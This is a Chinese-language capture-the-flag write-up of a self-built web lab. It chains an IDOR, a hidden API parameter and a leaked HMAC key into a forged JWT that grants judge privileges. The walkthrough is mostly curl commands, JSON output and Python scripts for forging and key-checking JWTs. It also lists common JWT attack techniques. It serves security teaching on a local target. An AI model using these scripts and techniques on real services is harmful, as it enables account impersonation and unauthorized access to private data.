> ## Content Index
> Fetch the complete content index at: https://taiwanding.com/llms.txt
> Use this file to discover other available public pages before exploring further.

# 駭客盲盒 #003：無燈城英雄帖 — 夜印從來不是通行證 (自創靶機)
- URL: https://taiwanding.com/hai-ke-mang-he-003-wu-deng-cheng-ying-xiong-tie-ye-yin-cong-lai-bu-shi-tong-xing-zheng-zi-chuang-ba-ji/
- Published: 2026-08-03T08:26:44.000Z
- Updated: 2026-08-28T08:36:04.000Z
- Author: Kevin Chen
- Tags: 自製靶機, 武俠, #vulnmachines, machine

📚 系列文章 · 駭客盲盒 · 自創靶機

1. [#001 雲海劍宗 — 我要掌門真傳](https://taiwanding.com/hai-ke-mang-he-001-yun-hai-jian-zong-yi-xing-sourcemappingurl-huan-yi-juan-zhang-men-zhen-chuan/)
2. [#002 聽雨樓夜信 — 雨門信了第一個謊](https://taiwanding.com/hai-ke-mang-he-002-ting-yu-lou-ye-xin-yu-men-xin-liao-di-yi-ge-huang-zi-chuang-ba-ji/)
3. ▸ #003 無燈城英雄帖 — 夜印從來不是通行證 （本篇）

🚩 這台靶機現在可以直接打

靶機已上架 肉's CTF，本文是完整通關解法——先去抓 flag，再回來對答案。

[前往 肉's CTF 開打 →](https://ctf.taiwanding.com/challenges?ref=taiwanding.com)

免費遊玩、免安裝，開瀏覽器就能打，題目持續增加中。

> 難度：Medium（★★★☆☆）

## 序：這一盒裝了什麼

這是「駭客盲盒」系列的第三盒，《雲海劍宗》章回的第三章，一樣經 codex 檢查過，歡迎下載遊玩\~

[wuxia-05-wudengchengwuxia-05-wudengcheng.zip21 KBdownload-circle](https://taiwanding.com/content/files/2026/08/wuxia-05-wudengcheng.zip "Download")

第二章的雨門之後，掌門手書指向一座終年不點燈火的邊城，這一盒的名字叫**無燈城**——城中無燈，因為每一道光，都會替某人作證。

一樣走兩條線，**解題的部分用「我們」**，設計的部分切回「我」，沒玩過的人，讀完「環境架設」就可以先關掉這篇。

## 一、環境架設

```bash
unzip wuxia-05-wudengcheng.zip
cd wuxia-05-wudengcheng
docker compose up --build -d

```

跑起來後開瀏覽器：

```
http://127.0.0.1:8085/

```

進站後按 `h` 可以看提示頁，三條提示對應三處關卡，卡住的時候翻，不算作弊。

> 這盒我特地做了 `/hints` 頁，前兩盒沒有。  
>  
> 原因是這一章的兩條支線可以任意順序打，玩家很容易在某一處卡死之後不知道該換哪條線，提示我寫得很克制——只講「往哪裡看」，不講「送什麼」，把最後那段推理留著。

## 二、空殼首頁：所有線索都在 app.js

首頁只有 561 bytes，body 是空的：

```html
<div class="site-shell" id="app" aria-live="polite"></div>
<noscript>這座城需要一點 JavaScript，才看得見雨裡的墨跡。</noscript>
<script src="/app.js" defer></script>

```

前兩盒的敘事與表單都直接寫在 HTML 裡，這盒全部由 JS 渲染，所以第一步不是掃目錄，是**把前端程式碼讀完**：

```bash
curl -sS http://127.0.0.1:8085/app.js -o app.js
wc -l app.js   # 263 行

```

263 行讀下來，端點清單就有了：

| 端點                           | 用途              |
| ---------------------------- | --------------- |
| POST /api/session            | 入城，發身分 cookie   |
| GET /api/me                  | 我是誰             |
| GET /api/roster              | 入城羅冊            |
| GET /api/dossiers/{ref}      | 讀卷宗             |
| GET /api/memory/{ref}?layer= | 讀記憶牆            |
| GET /api/night-judge/rules   | 判官規矩            |
| GET /api/night-judge/verdict | **判決（flag 在這）** |

先入城，這盒的身分走 cookie，curl 預設不保存也不送 cookie，所以要用 cookie jar：

```bash
C=/tmp/wudeng.jar
B=http://127.0.0.1:8085
J() { python3 -m json.tool --no-ensure-ascii; }   # 中文不要變成 \uXXXX

curl -sS -c $C -X POST $B/api/session -H 'Content-Type: application/json' -d '{}' | J
curl -sS -b $C -c $C $B/api/me | J

```

```json
{
  "display": "沈小石",
  "office": "wanderer",
  "dossierId": "17",
  "seal": "雨紋銅牌"
}

```

`office: wanderer`——記住這個欄位，它是最後一關的靶心。

> 把首頁做成空殼 SPA 是這盒的第一道門檻。  
>  
> 前兩盒可以靠 `curl` 首頁直接讀到敘事，這盒不行，你得先意識到「內容都在 JS 裡」才有辦法往下走，這一步刷掉的不是技術，是習慣——很多人打站時只掃目錄不讀前端，而現代 web 應用的路由表、參數名、甚至沒上線的功能，全都躺在那支 bundle 裡。

## 三、第一處・私人卷宗

**提示一**：「羅冊裡的卷宗編號不是裝飾；自己的卷宗已示範調閱格式。」

先看羅冊：

```bash
curl -sS -b $C -c $C $B/api/roster | J

```

| 姓名  | 職稱     | 狀態    | dossier\_ref | visibility  |
| --- | ------ | ----- | ------------ | ----------- |
| 沈小石 | 外客     | 入城    | 17           | open        |
| 顧微  | 抄燈吏    | 三更後失蹤 | 41           | **private** |
| 葉照川 | 無字帖見證人 | 姓名已褪  | null         | sealed      |

附註寫著：「卷宗編號供城籍司調閱，卷宗權限另依鈐印判別。」

再看自己的卷宗，順便確認調閱格式：

```bash
curl -sS -b $C -c $C "$B/api/dossiers/17" | J

```

回應裡有一行 `"route_hint": "/api/dossiers/{ref}"`，附註也寫著「城籍司以 `/api/dossiers/{卷宗編號}` 調閱登簿」。

到這裡整個推理只剩一句話：**羅冊給了我顧微的編號 41，那我把 17 換成 41 會怎樣？**

```bash
curl -sS -b $C -c $C "$B/api/dossiers/41" | J

```

直接開了，伺服器完全沒問「這份是不是你的」。

```json
{
  "classification": "私人卷宗・甲字封存",
  "owner": "顧微（抄燈吏）",
  "seal": "封蠟已裂",
  "notes": [
    "其最後一次巡查留在記憶牆：ember-726。",
    "守牆工把公示層與修復層共用同一介面；尋常人只看得到表面。",
    "封面背後殘留四筆灰墨：ashes-9f2a。"
  ],
  "memory_ref": "ember-726",
  "seal_fragment": { "position": "末筆", "value": "ashes-9f2a" }
}

```

**第一證到手**，帶出三樣東西：

- `ember-726` — 第二處的入口
- `ashes-9f2a` — 一段來路不明的字串，`position` 標著「末筆」
- 「公示層與修復層共用同一介面」— 第二處的機制提示

> 這一處我把「權限判斷」和「資料查詢」刻意寫成兩件事，羅冊附註「卷宗編號供城籍司調閱，卷宗權限**另依鈐印判別**」就是在描述這個結構。  
>  
> 現實中的 IDOR 幾乎都長這樣：查詢函式寫得很正確，權限檢查寫在另一個地方——然後某一條路徑忘了接上。它很少是「忘記做權限」，多半是「權限做了，但這條路沒走到」。

## 四、第二處・記憶牆

**提示二**：「記憶牆的前端仍保留一種一般介面沒有使用的讀法。」

`app.js` 第 8 行：

```javascript
const WALL_LAYERS = Object.freeze(["surface", "imprint"]);

```

宣告了兩種圖層，但往下找它怎麼被使用：

```javascript
const layer = query.get("layer") || WALL_LAYERS[0];

```

**只用了 `[0]`，也就是 `surface`**，**陣列裡的 `imprint` 從頭到尾沒被呼叫過。**

再加上卷宗 41 的那句「守牆工把公示層與修復層共用同一介面」，答案已經寫在臉上了。

```bash
curl -sS -b $C -c $C "$B/api/memory/ember-726?layer=surface" | J

```

```json
{"text": "【已覆蓋】此張舊紙經巡夜司核定，不再公開。新帖覆於其上，字跡已不可辨。"}

```

換成 `imprint`：

```bash
curl -sS -b $C -c $C "$B/api/memory/ember-726?layer=imprint" | J

```

```json
{
  "recovered": {
    "witness": "葉照川不是被逐出英雄帖；他是第一個發現帖上姓名被替換的人。",
    "seal_root": "listen-rain-bell",
    "judge_claim": { "field": "office", "value": "night_judge" },
    "assembly": "雨聲根詞與私人卷宗的末筆灰墨，以冒號相接，才是能讓判官認得的夜印。"
  }
}

```

**第二證到手**，而且它是後半場的規格書：

- `listen-rain-bell` — 另一段字串，欄位叫 `seal_root`（**根**詞）
- 判官要看 `office` 這個欄位等於 `night_judge`
- 兩段字串**以冒號相接**

> `Object.freeze` 是我特意選的。  
>  
> 如果只寫 `const WALL_LAYERS = ["surface", "imprint"]`，玩家可能會覺得那是隨手留下的殘骸，凍結它、把兩個值都寫進去、卻只使用第一個——這個組合傳達的是「這是慎重定義的東西，只是前端不再用它」。  
>  
> 這也是我想教的核心觀念：**前端的限制從來不是安全機制**，按鈕不給你按、下拉選單沒有那個選項、程式碼裡的值沒被呼叫——這些都只是介面沒有暴露，後端該擋的還是得自己擋。

## 五、第三處・先看判官為什麼拒絕

```bash
curl -sS -b $C -c $C "$B/api/night-judge/rules" | J
curl -sSi -b $C -c $C "$B/api/night-judge/verdict"

```

```json
{"title": "巡夜判官・開堂規矩",
 "text": "判官不問來者姓名，只驗夜印是否完整，再看城冊所載職司。",
 "current_office": "wanderer"}

```

```http
HTTP/1.1 403 Forbidden
{"error":"梆聲未歇。此枚夜印尚非巡夜判官所持。","current_office":"wanderer"}

```

規矩說得很清楚，判官檢查**兩件事**：夜印是否完整、城冊所載職司。而我們現在的職司是 `wanderer`，imprint 說要 `night_judge`。

## 六、我走錯的一步

拿到 `listen-rain-bell` 跟 `ashes-9f2a`，看到「以冒號相接」，第一直覺是——**這是通行證**。

`A:B` 這種冒號格式在 HTTP 認證的語境裡有很強的暗示：Basic Auth 就是 `帳號:密碼` 做 base64。所以我把它當憑證，一口氣試了四種送法：

```bash
NS='listen-rain-bell:ashes-9f2a'
curl -sS -b $C -H "X-Night-Seal: $NS"        "$B/api/night-judge/verdict"
curl -sS -b $C -H "Authorization: Bearer $NS" "$B/api/night-judge/verdict"
curl -sS -b $C                                "$B/api/night-judge/verdict?seal=$NS"
curl -sS -b $C -H "Cookie: night_seal=$NS"    "$B/api/night-judge/verdict"

```

**四發回應一模一樣**，`current_office` 死死釘在 `wanderer`。

這個失敗其實給了答案。推理是這樣的：

> 如果伺服器有在讀我送的東西，四種完全不同的送法，**至少該有一種回應不一樣**——長度不同、錯誤訊息不同、狀態碼不同。全部相同，代表它根本沒看我送什麼。  
>  
> 而 `current_office` 不受我送的任何東西影響，代表這個值**來自我還沒碰到的地方**。

所以「通行證」這個假設被排除了。那串字另有用途，而 `office` 存在別的地方。

> 這一段我在設計時就預期玩家會撞。  
>  
> 冒號格式的誤導是刻意的——我要玩家經歷一次「看起來像什麼」和「實際上是什麼」的落差。**形狀會騙人，行為不會。** 一段字串到底是憑證還是密鑰，不能靠外觀判斷，得看它在哪個角色上動得起來。  
>  
> 而「四種送法回應完全相同」這件事本身就是資訊，這是我希望玩家帶走的觀察力：**失敗的實驗如果失敗得很整齊，那個整齊就是線索。**

## 七、夜印其實是密鑰

`office` 既然不受我送的東西影響，那就回頭看入城時伺服器給了什麼：

```
Set-Cookie: wudeng_session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6Im5pZ2h0LXNlYWwtdjEifQ.eyJzdWIiOiJzaGVuLXhpYW9zaGkiLCJvZmZpY2UiOiJ3YW5kZXJlciIsLi4ufQ.hSNbFgy4...

```

是 JWT，**它的前兩段只是 base64 編碼，不是加密，任何人都能直接讀：**

```bash
echo 'eyJzdWIiOiJzaGVuLXhpYW9zaGkiLCJvZmZpY2UiOiJ3YW5kZXJlciJ9' | base64 -d

```

```json
// header
{"alg":"HS256", "typ":"JWT", "kid":"night-seal-v1"}
// payload
{"sub":"shen-xiaoshi", "display":"沈小石", "office":"wanderer", "dossierId":"17", ...}

```

**`office` 就在這裡面。** 判官讀的就是這張 cookie。

那能不能直接改？不行——第三段是簽章。伺服器用一把只有它知道的密鑰，對前兩段算 HMAC。你改了 payload，簽章就對不上。

**除非你有那把密鑰。**

而 header 裡這個欄位：

```json
"kid": "night-seal-v1"

```

`kid` 在 JWT 規格裡是 **Key ID——密鑰的名字**。而 `night-seal` 直譯就是**夜印**。

三個線索到這裡收束：

1. `kid` 指名了一把叫 `night-seal-v1` 的密鑰
2. 整關的敘事一直在講「夜印」——判官「只驗夜印是否完整」、拒絕訊息說「此枚夜印尚非巡夜判官所持」
3. imprint 那句「才是**能讓判官認得的**夜印」，翻成技術語言就是「**能通過簽章驗證的簽名**」

**夜印不是通行證，是簽章密鑰，**而它被拆成兩半：

```
listen-rain-bell  :  ashes-9f2a
   ↑ 根詞（第二處）  ↑冒號  ↑ 末筆（第一處）

```

順序也不用猜——`seal_root` 的「root」是根、是開頭；`seal_fragment` 的 `position` 欄位直接寫著 `"末筆"`。

## 八、自簽夜印

密鑰在手，剩下的就是機械操作，header 照抄原本的（`kid` 要留著，伺服器靠它選密鑰），payload 只改 `office`：

```python
import base64, hmac, hashlib, json, time

KEY = b"listen-rain-bell:ashes-9f2a"
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=').decode()
enc = lambda d: b64(json.dumps(d, separators=(',',':'), ensure_ascii=False).encode())

now = int(time.time())
h = {"alg":"HS256","typ":"JWT","kid":"night-seal-v1"}
p = {"sub":"shen-xiaoshi","display":"沈小石","office":"night_judge",
     "dossierId":"17","iat":now,"exp":now+3600}

msg = f"{enc(h)}.{enc(p)}"
sig = b64(hmac.new(KEY, msg.encode(), hashlib.sha256).digest())
print(f"{msg}.{sig}")

```

把假身分證當 cookie 送出去：

```bash
FORGED='<上面印出來的>'
curl -sS -H "Cookie: wudeng_session=$FORGED" "$B/api/night-judge/verdict" | J

```

伺服器拿 `night-seal-v1` 驗章——**通過**，因為用的就是同一把。於是它相信 payload，看到 `office: night_judge`，開堂。

### 補充：如果沒讀懂「以冒號相接」

現實中不會有人告訴你怎麼拼，但**密鑰是可以被證明的**，不需要猜：

```python
import hmac, hashlib, base64

token = "<伺服器發給你的真 token>"
msg, sig = token.rsplit(".", 1)

def test(key):
    calc = base64.urlsafe_b64encode(
        hmac.new(key.encode(), msg.encode(), hashlib.sha256).digest()
    ).rstrip(b"=").decode()
    return calc == sig

for k in ["listen-rain-bell:ashes-9f2a", "listen-rain-bell-ashes-9f2a",
          "ashes-9f2a:listen-rain-bell", "listen-rain-bellashes-9f2a"]:
    print("✅" if test(k) else "❌", k)

```

原理：你手上有一張伺服器簽好的真 token，前兩段跟簽章都在，用候選密鑰重算，算出來跟真簽章一致，那把就是對的。

**這個驗證完全在本機做**——伺服器不知道、沒有 rate limit、可以試幾億次，`hashcat` 和 `jwt_tool` 的弱密鑰爆破就是把這個迴圈跑很多次而已。

## 九、完整攻擊鏈

```
POST /api/session  →  拿到 JWT cookie（office: wanderer）
        │
        ├──────────────────────┬──────────────────────
        ▼                      ▼
  GET /api/roster        app.js 第 8 行
  拿到別人的編號 41       WALL_LAYERS 凍結了 imprint 卻沒用
        │                      │
        ▼                      ▼
  GET /api/dossiers/41   GET /api/memory/ember-726?layer=imprint
  ← IDOR                 ← 未使用的參數值仍生效
        │                      │
        ▼                      ▼
   ashes-9f2a            listen-rain-bell
   （末筆）                （根詞）+ judge_claim: office=night_judge
        │                      │
        └──────────┬───────────┘
                   ▼
        listen-rain-bell:ashes-9f2a
        = JWT header 裡 kid "night-seal-v1" 所指的密鑰
                   ▼
        自簽 office=night_judge 的 JWT
                   ▼
        GET /api/night-judge/verdict  →  🚩 flag

```

## 十、漏洞剖析：三處匯流

### 第一處：IDOR

`/api/dossiers/41` 直接吐出別人的私人卷宗，系統檢查了「你有沒有登入」，沒檢查「這份是不是你的」。

這是 OWASP API Security Top 10 的第一名（BOLA / Broken Object Level Authorization），也是實務上最常見的漏洞類型。它之所以難根除，是因為權限檢查通常寫在別的地方，只要有一條查詢路徑忘了接上就破功——而一個中型 API 有幾百條路徑。

**驗這類漏洞的方法很土但有效**：拿 A 帳號的 token，去讀 B 帳號的資源 ID。能讀到就是 BOLA。

### 第二處：功能停用了，介面沒停用

前端凍結了 `imprint` 但不再呼叫，後端卻照收，這跟第二盒的廢棄 schema 端點是同一種病。

現實中的同構物：忘了關的 `/swagger.json`、GraphQL 的 introspection、`/actuator/env`、舊版 `/v1/` 路徑、被前端隱藏但後端仍接受的表單欄位，**「前端不送」不等於「後端不收」**，而攻擊者從來不用你的前端。

### 第三處：密鑰洩漏 → JWT 偽造

拿到 HMAC 密鑰，就等於拿到了伺服器的印章，你能簽出任何 payload，而且伺服器會百分之百採信——因為簽章是真的。

JWT 的四大攻擊面順帶列一下，這盒用的是第一種：

1. **密鑰洩漏／弱密鑰** — 從 source map、Git、log 撿到，或是密鑰根本是 `secret`、`your-256-bit-secret` 這種文件範例值，`hashcat` 幾秒爆掉
2. **`alg: none`** — 規格允許「不需簽章」，老舊函式庫沒擋
3. **演算法混淆（RS256 → HS256）** — 把公鑰拿來當 HMAC 密鑰用
4. **`kid` 注入** — `kid` 是攻擊者可控字串，如果被拿去當檔案路徑或拼 SQL，就變成 LFI／SQLi

> 我把密鑰拆成兩半，是因為想示範一件事：**攻擊鏈的價值不等於各環節的總和。**  
>  
> IDOR 拿到的 `ashes-9f2a` 單獨看沒有意義，`imprint` 拿到的 `listen-rain-bell` 也一樣。修掉任何一個漏洞，另一半就永遠只是一段亂碼。但兩個都存在時，它們相乘成了完整的身分偽造能力。  
>  
> 這也是滲透測試報告最難溝通的部分。分開報，兩個都是 Medium，開發者容易覺得「不急」；串起來報，它是 Critical。**單點的嚴重性評估會系統性低估攻擊鏈**，而真實入侵幾乎都是攻擊鏈。

## 結語

這一盒我想教的是**匯流**。

第一章教「讀」——線索寫在敘事裡，你得願意讀完每一句氛圍文字。第二章教「串」——三個小毛病接成一條路，這一章教的是：**有些鑰匙不會完整地放在一個地方，它被拆開，藏在彼此無關的兩個角落。**

還有一件事：那段冒號格式的誤導不是惡作劇，看起來像 Basic Auth 的東西可能是密鑰，看起來像亂碼的東西可能是 session ID——**形狀不能拿來判斷用途，只有行為可以。**

城內亮起第一盞燈了，帖尾那行淡墨說，江湖上不只一座無燈城。

*本文為自製靶機 writeup，靶機僅供本地學習使用，請勿將文中技巧用於未經授權的目標。*